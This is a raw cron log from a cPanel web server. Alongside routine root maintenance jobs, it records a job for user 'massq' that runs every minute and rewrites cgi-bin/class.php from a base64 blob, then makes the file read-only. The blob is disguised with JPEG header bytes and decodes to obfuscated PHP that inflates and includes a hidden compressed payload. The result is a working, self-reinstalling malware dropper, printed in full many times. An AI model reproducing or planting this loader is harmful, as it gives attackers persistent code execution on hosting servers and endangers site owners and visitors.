Nov 10 13:56:01 server CROND[18030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:57:01 server CROND[18912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:57:01 server CROND[18913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 13:58:01 server CROND[19717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:59:01 server CROND[20559]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:00:01 server CROND[21393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:00:01 server CROND[21396]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 14:00:01 server CROND[21394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:00:01 server CROND[21401]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 14:00:01 server CROND[21403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:01:01 server CROND[22388]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 14:01:01 server CROND[22389]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:01:01 server run-parts(/etc/cron.hourly)[22388]: starting 0anacron
Nov 10 14:01:01 server run-parts(/etc/cron.hourly)[22401]: finished 0anacron
Nov 10 14:02:01 server CROND[23217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:03:01 server CROND[24052]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:04:01 server CROND[24887]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:05:01 server CROND[25763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:05:01 server CROND[25764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:05:01 server CROND[25768]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 14:05:01 server CROND[25769]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 10 14:05:01 server CROND[25771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:06:01 server CROND[26748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:07:01 server CROND[27563]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:08:01 server CROND[28391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
